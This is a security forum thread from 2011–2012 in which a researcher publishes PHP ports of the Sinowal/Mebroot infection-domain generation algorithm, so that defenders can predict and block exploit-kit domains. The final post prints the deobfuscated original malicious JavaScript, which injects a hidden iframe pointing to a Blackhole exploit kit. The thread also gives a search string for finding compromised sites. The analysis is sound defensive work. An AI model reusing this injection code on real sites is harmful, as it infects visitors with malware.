Author Topic: Domain name prediction algorithm for Sinowal/Mebroot infection domains  (Read 13811 times)

0 Members and 1 Guest are viewing this topic.

September 03, 2011, 07:13:58 pm
Read 13811 times

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Mid of July  I discovered an obfuscated script on a compromised site.

After deobfuscation I realized that it is a domain generation algorithm which uses the Twitter API.

http://wepawet.iseclab.org/view.php?hash=3630a98dcfdebab8d2dd1eee84cce358&type=js

http://pastebin.com/p7DAvPAj

It looks very similar to the known domain generation algorithm for Sinowal/Mebroot/Torpig.
The scripts generates a url. The target of this url is a Blackhole exploit kit. Payload is Sinowal.
So what I have found is a new domain generation algorithm for infection domains of Sinowal.

The most important fact is the move from NeoSploit to Blackhole. NeoSploit exploit pack was always
used in the past to infect machines with Sinowal.

Now we know the new algorithm and are able to precalculate next infection domains.

I have converted the javascript to php and now I have decided to publish my script.
I have been using the script for daily precalculation of new infection domains since July.

Script expects parameters hour, month, day and year.

Quote
sinowal.php?hour=21&month=9&day=3&year=2011

New domains always become active at 9:00 and 21:00 UTC. So 2 queries for hour=9 and hour=21 are enough.

Code: [Select]
<?php
class MyDateTime extends DateTime
{
    public function 
setTimestamp$timestamp )
    {
        
$date getdate( ( int ) $timestamp );
        
$this->setDate$date['year'] , $date['mon'] , $date['mday'] );
        
$this->setTime$date['hours'] , $date['minutes'] , $date['seconds'] );
    }
    
    public function 
getTimestamp()
    {
        return 
$this->format'U' );
    }
}

if ( isset(
$_GET['hour']) AND isset($_GET['month']) AND isset($_GET['day']) AND isset($_GET['year']) ) {

$hour intval($_GET['hour']);
$month intval($_GET['month']);
$day intval($_GET['day']);
$year intval($_GET['year']);
$d = new MyDateTime();
$timestamp gmmktime($hour00$month$day$year);
$d->setTimestamp($timestamp);
$kx_k =  gmdate("H",$timestamp); 
$UTCDate = new DateTime(gmdate("Y-m-d H:i:s",$timestamp));
if($kx_k>8)
{
$UTCDate->modify ('-2 day');
}
else
{
$UTCDate->modify ('-3 day');
};


$init 'http://api.twitter.com/1/trends/daily.json?date='.$UTCDate->format('Y-m-d');
$ch curl_init();
curl_setopt($chCURLOPT_URL,$init);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
$result curl_exec($ch);
curl_close($ch);
$kx_f json_decode($resulttrue);
$kx_a=0;
$offset2 25;
$kx_rz$offset2

foreach ($kx_f['trends'] as $i => $n1) {

    
 
     if(
$kx_k>&& $kx_k<21 &&strpos($i,' 07')!== false)
     {
   $kx_a=ord(substr($n1[4]['query'],1,1))+strlen($n1[4]['query']);
       break;
     }
     else if((
$kx_k<9||$kx_k>20)&&strpos($i,' 18')!== false)
     {
       
$kx_a=ord(substr($n1[4]['query'],1,1))+10+strlen($n1[4]['query']);
       break;
     }
}
if($kx_a==0)
{
$kx_a=ord(substr($kx_f['trends'][i][6]['query'],1,1))+7+strlen($kx_f['trends'][i][6]['query']);
}

if($kx_a>0)
{
$kx_g=intval($UTCDate->format('Y'));
$kx_J=intval($UTCDate->format('m'));
$kx_v=intval($UTCDate->format('d'));

$kx_y=array('dbs','ytn','vmt','vmr','mlc','oxk','fds','bvf','yus','mcp','ncz','gdw');
$kx_o=array('a','b','c','d','e','f','g','h','j','i','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$kx_L=array(3,2,1,4,5,6,7,8,9);

function kx_rt($kx_S,$kx_e,$kx_N,$kx_d)
{
return((($kx_N+($kx_d*$kx_S))+($kx_e $kx_S)*$kx_d)+$kx_S);
}
$offset 100
$kx_rr$offset
$kx_u=kx_rt($kx_v,$kx_J,$kx_g,$kx_a)+$kx_rr;
$kx_r=$kx_o[((($kx_g&0xAA)+$kx_u)%63)%26].$kx_o[((($kx_g&0xAA)<<2)+$kx_u)%$kx_rz];
$kx_z=$kx_o[(((($kx_g&0x3311)>>3)+$kx_u)%10)].$kx_o[(((($kx_g&0x3311)>>4)+$kx_u)%10)];
$kx_q=$kx_o[(($kx_J+$kx_u)%$kx_rz)].$kx_o[(($kx_J*$kx_u)%$kx_rz)];
$kx_b=$kx_o[(($kx_v*6)%27)];
$kx_R=$kx_b=$kx_o[(($kx_v*$kx_u)%24)]; 
echo 'http://'.$kx_b.$kx_z.$kx_q.$kx_r.$kx_R.$kx_y[$kx_J-1].'.com/index.php?tp=001e4bb7b4d7333d'."<br>";
}
   
}   
?>




BTW: You can find a lot of compromised sites by searching Google for join(t.pop()));eval(d)
Ruining the bad guy's day

September 04, 2011, 01:19:44 am
Reply #1

tyriel

  • Jr. Member

  • Offline
  • **

  • 14
    • urlQuery
Great work! :)

Very interesting. Does this mean they change domain twice every day?
Have they been using different servers/IPs or has that been more static?

Thanks for sharing.

September 04, 2011, 08:04:18 am
Reply #2

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Hi Tyriel,

domain changes twice per day.

Server/IP only changes if ISP blocks them.
Ruining the bad guy's day

October 24, 2011, 05:01:06 pm
Reply #3

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Mebroot gang now uses fast-flux for infection domains. DNS TTL is 1 second.
They probably use bots as a webserver for Blackhole kits.

Quote
;; QUESTION SECTION:
;gghjfyagmcp.com.               IN      A

;; ANSWER SECTION:
gghjfyagmcp.com.        1       IN      A       27.4.221.21
gghjfyagmcp.com.        1       IN      A       75.197.77.31
Ruining the bad guy's day

January 31, 2012, 07:55:50 pm
Reply #4

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Mid of November 2011 the algorithm stopped working. We didn't find new registered domains.

Some days ago I found this interesting article on Unmasked Parasites Blog. It covers the new version of the domain name prediction algorithm.

unmaskparasites.com provide an online tool for precalculating next domain names.

In case you want to precalculate next infection domains yourself, here is my implementation of the algorithm in PHP.
Feel free to use it. Script expects parameters hour, month, day.

Code: [Select]
sinowal.php?hour=19&month=1&day=31
Code: [Select]
<?php
class MyDateTime extends DateTime
{
    public function 
setTimestamp$timestamp )
    {
        
$date getdate( ( int ) $timestamp );
        
$this->setDate$date['year'] , $date['mon'] , $date['mday'] );
        
$this->setTime$date['hours'] , $date['minutes'] , $date['seconds'] );
    }
    
    public function 
getTimestamp()
    {
        return 
$this->format'U' );
    }
}

function 
jsT($jsF) {
global $jsx$jsKy,$jsKg,$jsKa,$jsKS;
$jsKm floor($jsx $jsKa);
$jsj $jsx $jsKa;
$jsL $jsKy $jsj;
$jsc $jsKS $jsKm;
$jss $jsL $jsc;
if ($jss 0) {
        
$jsx $jss ;
    } else {
        
$jsx $jss $jsKg;
    }
return $jsx $jsF;
}

if ( isset(
$_GET['hour']) AND isset($_GET['month']) AND isset($_GET['day']) ) {

$hour intval($_GET['hour']);
$month intval($_GET['month']);
$day intval($_GET['day']);
$year 2012;
$d = new MyDateTime();
$timestamp gmmktime($hour00$month$day$year);
$d->setTimestamp($timestamp);
$kx_k =  gmdate("H",$timestamp); // UTCHours
$UTCDate = new DateTime(gmdate("Y-m-d H:i:s",$timestamp));
$UTCDate->modify ('-2 day');

$jsKe floor($kx_k 6) * 1;
$jsKH $jsKe;
    
$jsKD $jsKe 1;
$jsu $UTCDate->format('n');
    
$jsKL $UTCDate->format('j');

     
$init 'http://api.twitter.com/1/trends/daily.json?date='.$UTCDate->format('Y-m-d');
$ch curl_init();
curl_setopt($chCURLOPT_URL,$init);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
$result curl_exec($ch);
curl_close($ch);
$kx_f json_decode($resulttrue);
$jsn $kx_f['trends'];

$jsm $UTCDate->format('Y-m-d')." ";
    if (
$jsKe 10$jsKe '0'.$jsKe;
    if (
$jsKD 10$jsKD '0'.$jsKD;

    
$jsd $jsn[$jsm.$jsKe.':00'];
    if (!
is_array($jsd)) { $jsd $jsn[$jsm.$jsKD.':00']; }


$jsd str_split(preg_replace('/[^a-z]/i''',strToLower($jsd[3]["name"])) . 'microscope');

$jsB $jsu 71 $jsKH $jsKL 37;

$jsx 2345678901 $jsB;
$jsKy 48271;
$jsKg 2345678901 198195254;
$jsKa floor($jsKg $jsKy);
$jsKS $jsKg $jsKy;

$jsf jsT(4) +10;

$jsN ='';
$jsKM ='';
$jsJ count($jsd);

 while ($jsJ>1) {
$jsJ $jsJ -1;
                
$jsKM jsT($jsJ);
$jsN $jsd[$jsKM];
                
$jsd[$jsKM] = $jsd[$jsJ];
                
$jsd[$jsJ] = $jsN;

     }      


$url '';
for ($i 0$i $jsf$i++) {
$url $url .$jsd[$i];
}
echo $url.".com/index.php?tp=001e4bb7b4d7333d"."<br>\n";


}
?>

Here is the original javascript code after deobfuscation.
Code: [Select]
(function() {
    window.gloa = (function() {
        Date.prototype.jsq = function() {
            var jsKk = this;
            return [jsKk.getUTCFullYear(), jsKk.getUTCMonth(), jsKk.getUTCDate(), jsKk.getUTCHours(), jsKk.getUTCMinutes(), jsKk.getUTCSeconds()]
        };
        Date.prototype.jsR = function() {
            var jsw, jsKy = this.jsq(), i = 0;
            jsKy[1] += 1;
            while (i++ < 7) {
                jsw = jsKy[i];
                if (jsw < jsC)
                    jsKy[i] = jsS('z') + jsw
            }
            return jsKy.splice(jsS('z'), 1 + jsS('T')).join(jsS('u')) + 'T' + jsKy.join(jsS('U'))
        };
        jsKJ = {'h': 'http://','s': '/','t': 'tre','d': 'dai','n': 'nds','q': '?','c': 'callback=','j': 'js','a': 'api','l': 'ly','W': 'twitter','o': 'com','e': '1','k': 's','K': 'body','x': 'ajax','D': '.','L': 'libs','J': 'jquery','6': '6.2','m': 'min','f': 'on','S': 'cript','i': 'if','M': 'rame','Y': 'head','w': 'width:','p': 'px;','H': 'height:','T': '2','r': 'rc','Q': '"','y': 'style=','b': '><','R': '></','I': 'div','B': '<','A': '>','g': 'google','E': '&date=','z': '0','u': '-','U': ' ',',': ':00',';': 2345678901,'/': 48271,'F': 198195254,'G': 12,'C': '='};
        function jsS(jsKo) {
            jsh = [];
            for (jsKt = 0; jsKt < jsKo.length; jsKt++) {
                jsh.push(jsKJ[jsKo.charAt(jsKt)])
            }
            return jsA(jsh)
        }
        jsKN = document;
        jso = window;
        jso.jsH = 'undefined';
        jso.jsD = jsS('haDWDosestnsdlDjfqcq');
        jsi = (typeof ($) == jso.jsH);
        if (jsi || !jsKd()) {
            if (!jsi) {
                try {
                    jsKv = jQuery.noConflict(true)
                } catch (e) {
                }
                ;
                try {
                    jsKv = $.noConflict(true)
                } catch (e) {
                }
            }
            jsKn = jsKN.getElementsByTagName(jsS('Y'))[0];
            jsr = jsKN.createElement(jsS('kS'));
            jsr.setAttribute(jsS('kr'), jsS("hxDgakDosxsLsJseD6sJDmDj"));
            jsKn.appendChild(jsr)
        }
        function jsKb(jsz, jsKc) {
            return Math.floor(jsz / jsKc)
        }
        function jsT(jsF) {
            var jsKm = jsKb(jso.jsx, jso.jsKa);
            var jsj = jso.jsx % jso.jsKa;
            var jsL = jso.jsKy * jsj;
            var jsc = jso.jsKS * jsKm;
            var jss = jsL - jsc;
            if (jss > 0) {
                jsx = jss
            } else {
                jsx = jss + jso.jsKg
            }
            return (jsx % jsF)
        }
        function jsP(jsG) {
            jso.jsx = jsS(';') + jsG;
            jso.jsKy = jsS('/');
            jso.jsKg = jsS(';') - jsS('F');
            jso.jsKa = jsKb(jso.jsKg, jso.jsKy);
            jso.jsKS = jso.jsKg % jso.jsKy
        }
        function jsA(jsK) {
            return jsK.length == 1 ? jsK[0] : jsK.join('')
        }
        ;
        function jsb(jsK) {
            d = new Date();
            jsg = jsS('zee');
            d.setTime((jsK.as_of - jsS('G') * jsS('G') * jsS('G') * jsS('ezz')) * jsS('ezzz'));
            return d
        }
        function jsp(jsKB) {
            var jsN, jsKM, jsJ = jsKB.length;
            var jsa = [];
            while (--jsJ) {
                jsKM = jsT(jsJ);
                jsa.push(jsKM);
                jsN = jsKB[jsKM];
                jsKB[jsKM] = jsKB[jsJ];
                jsKB[jsJ] = jsN
            }
        }
        function jsKx($) {
            jsKr = $.map([81, 85, 74, 74, 92, 17, 82, 73, 80, 30, 82, 77, 25, 11, 10, 10, 61, 11, 56, 55, 11, 53, 6, 53, 7, 2, 1, 0, 48], function(x, i) {
                return String.fromCharCode(i + x + 24)
            });
            return jsA(jsKr)
        }
        function jsf(x) {
            return x.length
        }
        function jsKh($) {
            if (typeof ($) != jso.jsH) {
                $(function() {
                    if (typeof ($.jsKp) != jso.jsH)
                        return;
                    $.jsKp = 1;
                    $.getJSON(jsD, function(jsKC) {
                        jse = jsb(jsKC);
                        jsu = jse.getUTCMonth() + (+jsS('e'));
                        jsKL = jse.getUTCDate();
                        jsy = function(x, i) {
                            return (jsf(x + "") - 1) ? x : "0" + x
                        };
                        jsKs = jsy(jsu, 4) + "-" + jsy(jsKL, 7);
                        jst = jsD + jsS("ETzeTu") + jsKs;
                        jsKe = jsKH = jsKb(jse.getUTCHours(), 6) * 6 + (+jsS('e'));
                        jsKD = jsKe + 1;
                        jsC = +jsS('ez');
                        setTimeout(function() {
                            $.getJSON(jst, function(jsKC) {
                                try {
                                    jsn = jsKC.trends;
                                    jsm = jsS("TzeTu") + jsKs + " ";
                                    if (jsKe < jsC)
                                        jsKe = jsS('z') + jsKe;
                                    if (jsKD < jsC)
                                        jsKD = jsS('z') + jsKD;
                                    jsd = jsn[jsm + jsKe + jsS(',')];
                                    if (!jsd) {
                                        jsd = jsn[jsm + jsKD + jsS(',')]
                                    }
                                    jsd = (jsd[3].name.toLowerCase().replace(/[^a-z]/gi, '') + 'microscope').split('');
                                    jsB = jsu * 71 + jsKH * 3 + jsKL * 37;
                                    jsP(jsB);
                                    jsf = jsT(4) + jsC;
                                    jsp(jsd);
                                    jsE = jsS('Ch') + jsA(jsd).substring(0, jsf) + '.com/' + jsKx($);
                                    jsKJ['Z'] = jsE;
                                    jsKw = jsS('BIyQHTpweeepQbiMUyQHTpweeepQUkrZRiMRIA');
                                    $(jsS('K')).append(jsKw)
                                } catch (jsKq) {
                                }
                            })
                        }, jsC * jsC * jsC)
                    })
                })
            } else {
                setTimeout(function() {
                    jsKh(jso.jQuery)
                }, 1 + jsS('TTT'))
            }
        }
        jsKh(jso.jQuery)
    })
})

Ruining the bad guy's day